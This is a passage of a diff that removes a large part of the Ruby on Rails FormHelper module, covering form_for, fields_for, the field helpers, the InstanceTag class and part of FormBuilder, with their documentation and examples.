-      #   <% end %>
-      #
-      # In that case you can think
-      #
-      #   <%= f.text_field :first_name %>
-      #
-      # gets expanded to
-      #
-      #   <%= text_field :person, :first_name, :object => person %>
-      #
-      # You can even display error messages of the wrapped model this way:
-      #
-      #   <%= f.error_messages %>
-      #
-      # In any of its variants, the rightmost argument to +form_for+ is an
-      # optional hash of options:
-      #
-      # * <tt>:url</tt> - The URL the form is submitted to. It takes the same
-      #   fields you pass to +url_for+ or +link_to+. In particular you may pass
-      #   here a named route directly as well. Defaults to the current action.
-      # * <tt>:html</tt> - Optional HTML attributes for the form tag.
-      #
-      # Worth noting is that the +form_for+ tag is called in a ERb evaluation
-      # block, not an ERb output block. So that's <tt><% %></tt>, not
-      # <tt><%= %></tt>.
-      #
-      # Also note that +form_for+ doesn't create an exclusive scope. It's still
-      # possible to use both the stand-alone FormHelper methods and methods
-      # from FormTagHelper. For example:
-      #
-      #   <% form_for :person, @person, :url => { :action => "update" } do |f| %>
-      #     First name: <%= f.text_field :first_name %>
-      #     Last name : <%= f.text_field :last_name %>
-      #     Biography : <%= text_area :person, :biography %>
-      #     Admin?    : <%= check_box_tag "person[admin]", @person.company.admin? %>
-      #   <% end %>
-      #
-      # This also works for the methods in FormOptionHelper and DateHelper that
-      # are designed to work with an object as base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
-      #
-      # === Resource-oriented style
-      #
-      # As we said above, in addition to manually configuring the +form_for+
-      # call, you can rely on automated resource identification, which will use
-      # the conventions and named routes of that approach. This is the
-      # preferred way to use +form_for+ nowadays.
-      #
-      # For example, if <tt>@post</tt> is an existing record you want to edit
-      #
-      #   <% form_for @post do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # is equivalent to something like:
-      #
-      #   <% form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # And for new records
-      #
-      #   <% form_for(Post.new) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # expands to
-      #
-      #   <% form_for :post, Post.new, :url => posts_path, :html => { :class => "new_post", :id => "new_post" } do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # You can also overwrite the individual conventions, like this:
-      #
-      #   <% form_for(@post, :url => super_post_path(@post)) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # And for namespaced routes, like +admin_post_url+:
-      #
-      #   <% form_for([:admin, @post]) do |f| %>
-      #    ...
-      #   <% end %>
-      #
-      # === Customized form builders
-      #
-      # You can also build forms using a customized FormBuilder class. Subclass
-      # FormBuilder and override or define some more helpers, then use your
-      # custom builder. For example, let's say you made a helper to
-      # automatically add labels to form inputs.
-      #
-      #   <% form_for :person, @person, :url => { :action => "update" }, :builder => LabellingFormBuilder do |f| %>
-      #     <%= f.text_field :first_name %>
-      #     <%= f.text_field :last_name %>
-      #     <%= text_area :person, :biography %>
-      #     <%= check_box_tag "person[admin]", @person.company.admin? %>
-      #   <% end %>
-      #
-      # In this case, if you use this:
-      #
-      #   <%= render :partial => f %>
-      #
-      # The rendered template is <tt>people/_labelling_form</tt> and the local
-      # variable referencing the form builder is called
-      # <tt>labelling_form</tt>.
-      #
-      # The custom FormBuilder class is automatically merged with the options
-      # of a nested fields_for call, unless it's explicitely set.
-      #
-      # In many cases you will want to wrap the above in another helper, so you
-      # could do something like the following:
-      #
-      #   def labelled_form_for(record_or_name_or_array, *args, &proc)
-      #     options = args.extract_options!
-      #     form_for(record_or_name_or_array, *(args << options.merge(:builder => LabellingFormBuilder)), &proc)
-      #   end
-      #
-      # If you don't need to attach a form to a model instance, then check out
-      # FormTagHelper#form_tag.
-      def form_for(record_or_name_or_array, *args, &proc)
-        raise ArgumentError, "Missing block" unless block_given?
-
-        options = args.extract_options!
-
-        case record_or_name_or_array
-        when String, Symbol
-          object_name = record_or_name_or_array
-        when Array
-          object = record_or_name_or_array.last
-          object_name = ActionController::RecordIdentifier.singular_class_name(object)
-          apply_form_for_options!(record_or_name_or_array, options)
-          args.unshift object
-        else
-          object = record_or_name_or_array
-          object_name = ActionController::RecordIdentifier.singular_class_name(object)
-          apply_form_for_options!([object], options)
-          args.unshift object
-        end
-
-        concat(form_tag(options.delete(:url) || {}, options.delete(:html) || {}))
-        fields_for(object_name, *(args << options), &proc)
-        concat('</form>'.html_safe)
-      end
-
-      def apply_form_for_options!(object_or_array, options) #:nodoc:
-        object = object_or_array.is_a?(Array) ? object_or_array.last : object_or_array
-
-        html_options =
-          if object.respond_to?(:new_record?) && object.new_record?
-            { :class  => dom_class(object, :new),  :id => dom_id(object), :method => :post }
-          else
-            { :class  => dom_class(object, :edit), :id => dom_id(object, :edit), :method => :put }
-          end
-
-        options[:html] ||= {}
-        options[:html].reverse_merge!(html_options)
-        options[:url] ||= polymorphic_path(object_or_array)
-      end
-
-      # Creates a scope around a specific model object like form_for, but
-      # doesn't create the form tags themselves. This makes fields_for suitable
-      # for specifying additional model objects in the same form.
-      #
-      # === Generic Examples
-      #
-      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
-      #     First name: <%= person_form.text_field :first_name %>
-      #     Last name : <%= person_form.text_field :last_name %>
-      #
-      #     <% fields_for @person.permission do |permission_fields| %>
-      #       Admin?  : <%= permission_fields.check_box :admin %>
-      #     <% end %>
-      #   <% end %>
-      #
-      # ...or if you have an object that needs to be represented as a different
-      # parameter, like a Client that acts as a Person:
-      #
-      #   <% fields_for :person, @client do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
-      #   <% end %>
-      #
-      # ...or if you don't have an object, just a name of the parameter:
-      #
-      #   <% fields_for :person do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
-      #   <% end %>
-      #
-      # Note: This also works for the methods in FormOptionHelper and
-      # DateHelper that are designed to work with an object as base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
-      #
-      # === Nested Attributes Examples
-      #
-      # When the object belonging to the current scope has a nested attribute
-      # writer for a certain attribute, fields_for will yield a new scope
-      # for that attribute. This allows you to create forms that set or change
-      # the attributes of a parent object and its associations in one go.
-      #
-      # Nested attribute writers are normal setter methods named after an
-      # association. The most common way of defining these writers is either
-      # with +accepts_nested_attributes_for+ in a model definition or by
-      # defining a method with the proper name. For example: the attribute
-      # writer for the association <tt>:address</tt> is called
-      # <tt>address_attributes=</tt>.
-      #
-      # Whether a one-to-one or one-to-many style form builder will be yielded
-      # depends on whether the normal reader method returns a _single_ object
-      # or an _array_ of objects.
-      #
-      # ==== One-to-one
-      #
-      # Consider a Person class which returns a _single_ Address from the
-      # <tt>address</tt> reader method and responds to the
-      # <tt>address_attributes=</tt> writer method:
-      #
-      #   class Person
-      #     def address
-      #       @address
-      #     end
-      #
-      #     def address_attributes=(attributes)
-      #       # Process the attributes hash
-      #     end
-      #   end
-      #
-      # This model can now be used with a nested fields_for, like so:
-      #
-      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
-      #     ...
-      #     <% person_form.fields_for :address do |address_fields| %>
-      #       Street  : <%= address_fields.text_field :street %>
-      #       Zip code: <%= address_fields.text_field :zip_code %>
-      #     <% end %>
-      #   <% end %>
-      #
-      # When address is already an association on a Person you can use
-      # +accepts_nested_attributes_for+ to define the writer method for you:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_one :address
-      #     accepts_nested_attributes_for :address
-      #   end
-      #
-      # If you want to destroy the associated model through the form, you have
-      # to enable it first using the <tt>:allow_destroy</tt> option for
-      # +accepts_nested_attributes_for+:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_one :address
-      #     accepts_nested_attributes_for :address, :allow_destroy => true
-      #   end
-      #
-      # Now, when you use a form element with the <tt>_destroy</tt> parameter,
-      # with a value that evaluates to +true+, you will destroy the associated
-      # model (eg. 1, '1', true, or 'true'):
-      #
-      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
-      #     ...
-      #     <% person_form.fields_for :address do |address_fields| %>
-      #       ...
-      #       Delete: <%= address_fields.check_box :_destroy %>
-      #     <% end %>
-      #   <% end %>
-      #
-      # ==== One-to-many
-      #
-      # Consider a Person class which returns an _array_ of Project instances
-      # from the <tt>projects</tt> reader method and responds to the
-      # <tt>projects_attributes=</tt> writer method:
-      #
-      #   class Person
-      #     def projects
-      #       [@project1, @project2]
-      #     end
-      #
-      #     def projects_attributes=(attributes)
-      #       # Process the attributes hash
-      #     end
-      #   end
-      #
-      # This model can now be used with a nested fields_for. The block given to
-      # the nested fields_for call will be repeated for each instance in the
-      # collection:
-      #
-      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
-      #     ...
-      #     <% person_form.fields_for :projects do |project_fields| %>
-      #       <% if project_fields.object.active? %>
-      #         Name: <%= project_fields.text_field :name %>
-      #       <% end %>
-      #     <% end %>
-      #   <% end %>
-      #
-      # It's also possible to specify the instance to be used:
-      #
-      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
-      #     ...
-      #     <% @person.projects.each do |project| %>
-      #       <% if project.active? %>
-      #         <% person_form.fields_for :projects, project do |project_fields| %>
-      #           Name: <%= project_fields.text_field :name %>
-      #         <% end %>
-      #       <% end %>
-      #     <% end %>
-      #   <% end %>
-      #
-      # Or a collection to be used:
-      #
-      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
-      #     ...
-      #     <% person_form.fields_for :projects, @active_projects do |project_fields| %>
-      #       Name: <%= project_fields.text_field :name %>
-      #     <% end %>
-      #   <% end %>
-      #
-      # When projects is already an association on Person you can use
-      # +accepts_nested_attributes_for+ to define the writer method for you:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :projects
-      #     accepts_nested_attributes_for :projects
-      #   end
-      #
-      # If you want to destroy any of the associated models through the
-      # form, you have to enable it first using the <tt>:allow_destroy</tt>
-      # option for +accepts_nested_attributes_for+:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :projects
-      #     accepts_nested_attributes_for :projects, :allow_destroy => true
-      #   end
-      #
-      # This will allow you to specify which models to destroy in the
-      # attributes hash by adding a form element for the <tt>_destroy</tt>
-      # parameter with a value that evaluates to +true+
-      # (eg. 1, '1', true, or 'true'):
-      #
-      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
-      #     ...
-      #     <% person_form.fields_for :projects do |project_fields| %>
-      #       Delete: <%= project_fields.check_box :_destroy %>
-      #     <% end %>
-      #   <% end %>
-      def fields_for(record_or_name_or_array, *args, &block)
-        raise ArgumentError, "Missing block" unless block_given?
-        options = args.extract_options!
-
-        case record_or_name_or_array
-        when String, Symbol
-          object_name = record_or_name_or_array
-          object = args.first
-        else
-          object = record_or_name_or_array
-          object_name = ActionController::RecordIdentifier.singular_class_name(object)
-        end
-
-        builder = options[:builder] || ActionView::Base.default_form_builder
-        yield builder.new(object_name, object, self, options, block)
-      end
-
-      # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
-      # is found in the current I18n locale (through views.labels.<modelname>.<attribute>) or you specify it explicitly. 
-      # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
-      # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
-      # target labels for radio_button tags (where the value is used in the ID of the input tag).
-      #
-      # ==== Examples
-      #   label(:post, :title)
-      #   # => <label for="post_title">Title</label>
-      #
-      #   You can localize your labels based on model and attribute names.
-      #   For example you can define the following in your locale (e.g. en.yml)
-      #
-      #   views:
-      #     labels:
-      #       post:
-      #         body: "Write your entire text here"
-      #
-      #   Which then will result in
-      #
-      #   label(:post, :body)
-      #   # => <label for="post_body">Write your entire text here</label>
-      #
-      #   Localization can also be based purely on the translation of the attribute-name like this:
-      #
-      #   activerecord:
-      #     attribute:
-      #       post:
-      #         cost: "Total cost"
-      #
-      #   label(:post, :cost)
-      #   # => <label for="post_cost">Total cost</label>
-      #
-      #   label(:post, :title, "A short title")
-      #   # => <label for="post_title">A short title</label>
-      #
-      #   label(:post, :title, "A short title", :class => "title_label")
-      #   # => <label for="post_title" class="title_label">A short title</label>
-      #
-      #   label(:post, :privacy, "Public Post", :value => "public")
-      #   # => <label for="post_privacy_public">Public Post</label>
-      #
-      def label(object_name, method, text = nil, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_label_tag(text, options)
-      end
-
-      # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # ==== Examples
-      #   text_field(:post, :title, :size => 20)
-      #   # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
-      #
-      #   text_field(:post, :title, :class => "create_input")
-      #   # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
-      #
-      #   text_field(:session, :user, :onchange => "if $('session[user]').value == 'admin' { alert('Your login can not be admin!'); }")
-      #   # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange = "if $('session[user]').value == 'admin' { alert('Your login can not be admin!'); }"/>
-      #
-      #   text_field(:snippet, :code, :size => 20, :class => 'code_input')
-      #   # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
-      #
-      def text_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("text", options)
-      end
-
-      # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # ==== Examples
-      #   password_field(:login, :pass, :size => 20)
-      #   # => <input type="text" id="login_pass" name="login[pass]" size="20" value="#{@login.pass}" />
-      #
-      #   password_field(:account, :secret, :class => "form_input")
-      #   # => <input type="text" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
-      #
-      #   password_field(:user, :password, :onchange => "if $('user[password]').length > 30 { alert('Your password needs to be shorter!'); }")
-      #   # => <input type="text" id="user_password" name="user[password]" value="#{@user.password}" onchange = "if $('user[password]').length > 30 { alert('Your password needs to be shorter!'); }"/>
-      #
-      #   password_field(:account, :pin, :size => 20, :class => 'form_input')
-      #   # => <input type="text" id="account_pin" name="account[pin]" size="20" value="#{@account.pin}" class="form_input" />
-      #
-      def password_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("password", options)
-      end
-
-      # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # ==== Examples
-      #   hidden_field(:signup, :pass_confirm)
-      #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
-      #
-      #   hidden_field(:post, :tag_list)
-      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
-      #
-      #   hidden_field(:user, :token)
-      #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
-      def hidden_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("hidden", options)
-      end
-
-      # Returns an file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # ==== Examples
-      #   file_field(:user, :avatar)
-      #   # => <input type="file" id="user_avatar" name="user[avatar]" />
-      #
-      #   file_field(:post, :attached, :accept => 'text/html')
-      #   # => <input type="file" id="post_attached" name="post[attached]" />
-      #
-      #   file_field(:attachment, :file, :class => 'file_input')
-      #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
-      #
-      def file_field(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("file", options)
-      end
-
-      # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
-      # on an object assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+.
-      #
-      # ==== Examples
-      #   text_area(:post, :body, :cols => 20, :rows => 40)
-      #   # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
-      #   #      #{@post.body}
-      #   #    </textarea>
-      #
-      #   text_area(:comment, :text, :size => "20x30")
-      #   # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
-      #   #      #{@comment.text}
-      #   #    </textarea>
-      #
-      #   text_area(:application, :notes, :cols => 40, :rows => 15, :class => 'app_input')
-      #   # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
-      #   #      #{@application.notes}
-      #   #    </textarea>
-      #
-      #   text_area(:entry, :body, :size => "20x20", :disabled => 'disabled')
-      #   # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
-      #   #      #{@entry.body}
-      #   #    </textarea>
-      def text_area(object_name, method, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_text_area_tag(options)
-      end
-
-      # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
-      # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked. 
-      # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1 
-      # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
-      #
-      # ==== Gotcha
-      #
-      # The HTML specification says unchecked check boxes are not successful, and
-      # thus web browsers do not send them. Unfortunately this introduces a gotcha:
-      # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
-      # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
-      # any mass-assignment idiom like
-      #
-      #   @invoice.update_attributes(params[:invoice])
-      #
-      # wouldn't update the flag.
-      #
-      # To prevent this the helper generates an auxiliary hidden field before
-      # the very check box. The hidden field has the same name and its
-      # attributes mimick an unchecked check box.
-      #
-      # This way, the client either sends only the hidden field (representing
-      # the check box is unchecked), or both fields. Since the HTML specification
-      # says key/value pairs have to be sent in the same order they appear in the
-      # form, and parameters extraction gets the last occurrence of any repeated
-      # key in the query string, that works for ordinary forms.
-      #
-      # Unfortunately that workaround does not work when the check box goes
-      # within an array-like parameter, as in
-      #
-      #   <% fields_for "project[invoice_attributes][]", invoice, :index => nil do |form| %>
-      #     <%= form.check_box :paid %>
-      #     ...
-      #   <% end %>
-      #
-      # because parameter name repetition is precisely what Rails seeks to distinguish
-      # the elements of the array. For each item with a checked check box you
-      # get an extra ghost item with only that attribute, assigned to "0".
-      #
-      # In that case it is preferable to either use +check_box_tag+ or to use
-      # hashes instead of arrays.
-      #
-      # ==== Examples
-      #   # Let's say that @post.validated? is 1:
-      #   check_box("post", "validated")
-      #   # => <input name="post[validated]" type="hidden" value="0" />
-      #   #    <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
-      #
-      #   # Let's say that @puppy.gooddog is "no":
-      #   check_box("puppy", "gooddog", {}, "yes", "no")
-      #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
-      #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
-      #
-      #   check_box("eula", "accepted", { :class => 'eula_check' }, "yes", "no")
-      #   # => <input name="eula[accepted]" type="hidden" value="no" />
-      #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
-      #
-      def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_check_box_tag(options, checked_value, unchecked_value)
-      end
-
-      # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
-      # radio button will be checked.
-      #
-      # To force the radio button to be checked pass <tt>:checked => true</tt> in the
-      # +options+ hash. You may pass HTML options there as well.
-      #
-      # ==== Examples
-      #   # Let's say that @post.category returns "rails":
-      #   radio_button("post", "category", "rails")
-      #   radio_button("post", "category", "java")
-      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
-      #
-      #   radio_button("user", "receive_newsletter", "yes")
-      #   radio_button("user", "receive_newsletter", "no")
-      #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
-      #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
-      def radio_button(object_name, method, tag_value, options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_radio_button_tag(tag_value, options)
-      end
-    end
-
-    class InstanceTag #:nodoc:
-      include Helpers::TagHelper, Helpers::FormTagHelper
-
-      attr_reader :method_name, :object_name
-
-      DEFAULT_FIELD_OPTIONS     = { "size" => 30 }.freeze unless const_defined?(:DEFAULT_FIELD_OPTIONS)
-      DEFAULT_RADIO_OPTIONS     = { }.freeze unless const_defined?(:DEFAULT_RADIO_OPTIONS)
-      DEFAULT_TEXT_AREA_OPTIONS = { "cols" => 40, "rows" => 20 }.freeze unless const_defined?(:DEFAULT_TEXT_AREA_OPTIONS)
-
-      def initialize(object_name, method_name, template_object, object = nil)
-        @object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
-        @template_object = template_object
-        @object = object
-        if @object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
-          if (object ||= @template_object.instance_variable_get("@#{Regexp.last_match.pre_match}")) && object.respond_to?(:to_param)
-            @auto_index = object.to_param
-          else
-            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
-          end
-        end
-      end
-
-      def to_label_tag(text = nil, options = {})
-        options = options.stringify_keys
-        tag_value = options.delete("value")
-        name_and_id = options.dup
-        name_and_id["id"] = name_and_id["for"]
-        add_default_name_and_id_for_value(tag_value, name_and_id)
-        options.delete("index")
-        options["for"] ||= name_and_id["id"]
-
-        content = if text.blank?
-          i18n_label = I18n.t("helpers.label.#{object_name}.#{method_name}", :default => "")
-          i18n_label if i18n_label.present?
-        else
-          text.to_s
-        end
-
-        content ||= if object && object.class.respond_to?(:human_attribute_name)
-          object.class.human_attribute_name(method_name)
-        end
-
-        content ||= method_name.humanize
-
-        label_tag(name_and_id["id"], content, options)
-      end
-
-      def to_input_field_tag(field_type, options = {})
-        options = options.stringify_keys
-        options["size"] = options["maxlength"] || DEFAULT_FIELD_OPTIONS["size"] unless options.key?("size")
-        options = DEFAULT_FIELD_OPTIONS.merge(options)
-        if field_type == "hidden"
-          options.delete("size")
-        end
-        options["type"] = field_type
-        options["value"] ||= value_before_type_cast(object) unless field_type == "file"
-        options["value"] &&= html_escape(options["value"])
-        add_default_name_and_id(options)
-        tag("input", options)
-      end
-
-      def to_radio_button_tag(tag_value, options = {})
-        options = DEFAULT_RADIO_OPTIONS.merge(options.stringify_keys)
-        options["type"]     = "radio"
-        options["value"]    = tag_value
-        if options.has_key?("checked")
-          cv = options.delete "checked"
-          checked = cv == true || cv == "checked"
-        else
-          checked = self.class.radio_button_checked?(value(object), tag_value)
-        end
-        options["checked"]  = "checked" if checked
-        add_default_name_and_id_for_value(tag_value, options)
-        tag("input", options)
-      end
-
-      def to_text_area_tag(options = {})
-        options = DEFAULT_TEXT_AREA_OPTIONS.merge(options.stringify_keys)
-        add_default_name_and_id(options)
-
-        if size = options.delete("size")
-          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
-        end
-
-        content_tag("textarea", html_escape(options.delete('value') || value_before_type_cast(object)), options)
-      end
-
-      def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
-        options = options.stringify_keys
-        options["type"]     = "checkbox"
-        options["value"]    = checked_value
-        if options.has_key?("checked")
-          cv = options.delete "checked"
-          checked = cv == true || cv == "checked"
-        else
-          checked = self.class.check_box_checked?(value(object), checked_value)
-        end
-        options["checked"] = "checked" if checked
-        add_default_name_and_id(options)
-        hidden = tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value)
-        checkbox = tag("input", options)
-        (hidden + checkbox).html_safe
-      end
-
-      def to_boolean_select_tag(options = {})
-        options = options.stringify_keys
-        add_default_name_and_id(options)
-        value = value(object)
-        tag_text = "<select"
-        tag_text << tag_options(options)
-        tag_text << "><option value=\"false\""
-        tag_text << " selected" if value == false
-        tag_text << ">False</option><option value=\"true\""
-        tag_text << " selected" if value
-        tag_text << ">True</option></select>"
-      end
-
-      def to_content_tag(tag_name, options = {})
-        content_tag(tag_name, value(object), options)
-      end
-
-      def object
-        @object || @template_object.instance_variable_get("@#{@object_name}")
-      rescue NameError
-        # As @object_name may contain the nested syntax (item[subobject]) we
-        # need to fallback to nil.
-        nil
-      end
-
-      def value(object)
-        self.class.value(object, @method_name)
-      end
-
-      def value_before_type_cast(object)
-        self.class.value_before_type_cast(object, @method_name)
-      end
-
-      class << self
-        def value(object, method_name)
-          object.send method_name unless object.nil?
-        end
-
-        def value_before_type_cast(object, method_name)
-          unless object.nil?
-            object.respond_to?(method_name + "_before_type_cast") ?
-            object.send(method_name + "_before_type_cast") :
-            object.send(method_name)
-          end
-        end
-
-        def check_box_checked?(value, checked_value)
-          case value
-          when TrueClass, FalseClass
-            value
-          when NilClass
-            false
-          when Integer
-            value != 0
-          when String
-            value == checked_value
-          when Array
-            value.include?(checked_value)
-          else
-            value.to_i != 0
-          end
-        end
-
-        def radio_button_checked?(value, checked_value)
-          value.to_s == checked_value.to_s
-        end
-      end
-
-      private
-        def add_default_name_and_id_for_value(tag_value, options)
-          unless tag_value.nil?
-            pretty_tag_value = tag_value.to_s.gsub(/\s/, "_").gsub(/\W/, "").downcase
-            specified_id = options["id"]
-            add_default_name_and_id(options)
-            options["id"] += "_#{pretty_tag_value}" unless specified_id
-          else
-            add_default_name_and_id(options)
-          end
-        end
-
-        def add_default_name_and_id(options)
-          if options.has_key?("index")
-            options["name"] ||= tag_name_with_index(options["index"])
-            options["id"]   ||= tag_id_with_index(options["index"])
-            options.delete("index")
-          elsif defined?(@auto_index)
-            options["name"] ||= tag_name_with_index(@auto_index)
-            options["id"]   ||= tag_id_with_index(@auto_index)
-          else
-            options["name"] ||= tag_name + (options.has_key?('multiple') ? '[]' : '')
-            options["id"]   ||= tag_id
-          end
-        end
-
-        def tag_name
-          "#{@object_name}[#{sanitized_method_name}]"
-        end
-
-        def tag_name_with_index(index)
-          "#{@object_name}[#{index}][#{sanitized_method_name}]"
-        end
-
-        def tag_id
-          "#{sanitized_object_name}_#{sanitized_method_name}"
-        end
-
-        def tag_id_with_index(index)
-          "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
-        end
-
-        def sanitized_object_name
-          @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
-        end
-
-        def sanitized_method_name
-          @sanitized_method_name ||= @method_name.sub(/\?$/,"")
-        end
-    end
-
-    class FormBuilder #:nodoc:
-      # The methods which wrap a form helper call.
-      class_inheritable_accessor :field_helpers
-      self.field_helpers = (FormHelper.instance_methods - ['form_for'])
-
-      attr_accessor :object_name, :object, :options
-
-      def initialize(object_name, object, template, options, proc)
-        @nested_child_index = {}
-        @object_name, @object, @template, @options, @proc = object_name, object, template, options, proc
-        @default_options = @options ? @options.slice(:index) : {}
-        if @object_name.to_s.match(/\[\]$/)
-          if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
-            @auto_index = object.to_param
-          else
-            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
-          end
-        end
-      end
-
-      (field_helpers - %w(label check_box radio_button fields_for hidden_field)).each do |selector|
-        src, line = <<-end_src, __LINE__ + 1
-          def #{selector}(method, options = {})  # def text_field(method, options = {})
-            @template.send(                      #   @template.send(
-              #{selector.inspect},               #     "text_field",
-              @object_name,                      #     @object_name,
-              method,                            #     method,
-              objectify_options(options))        #     objectify_options(options))
-          end                                    # end
-        end_src
-        class_eval src, __FILE__, line
-      end
-
-      def fields_for(record_or_name_or_array, *args, &block)
-        if options.has_key?(:index)
-          index = "[#{options[:index]}]"
-        elsif defined?(@auto_index)
-          self.object_name = @object_name.to_s.sub(/\[\]$/,"")
-          index = "[#{@auto_index}]"
-        else
-          index = ""
-        end
-
-        if options[:builder]
-          args << {} unless args.last.is_a?(Hash)
-          args.last[:builder] ||= options[:builder]
-        end
-
-        case record_or_name_or_array
-        when String, Symbol
-          if nested_attributes_association?(record_or_name_or_array)
-            return fields_for_with_nested_attributes(record_or_name_or_array, args, block)
-          else
-            name = "#{object_name}#{index}[#{record_or_name_or_array}]"
-          end
-        when Array
-          object = record_or_name_or_array.last
-          name = "#{object_name}#{index}[#{ActionController::RecordIdentifier.singular_class_name(object)}]"
-          args.unshift(object)
-        else
-          object = record_or_name_or_array
-          name = "#{object_name}#{index}[#{ActionController::RecordIdentifier.singular_class_name(object)}]"
-          args.unshift(object)
-        end
-
-        @template.fields_for(name, *args, &block)
-      end
-
-      def label(method, text = nil, options = {})
-        @template.label(@object_name, method, text, objectify_options(options))
-      end
-
-      def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
-        @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
-      end
-
-      def radio_button(method, tag_value, options = {})
-        @template.radio_button(@object_name, method, tag_value, objectify_options(options))
-      end
-      
-      def hidden_field(method, options = {})
-        @emitted_hidden_id = true if method == :id
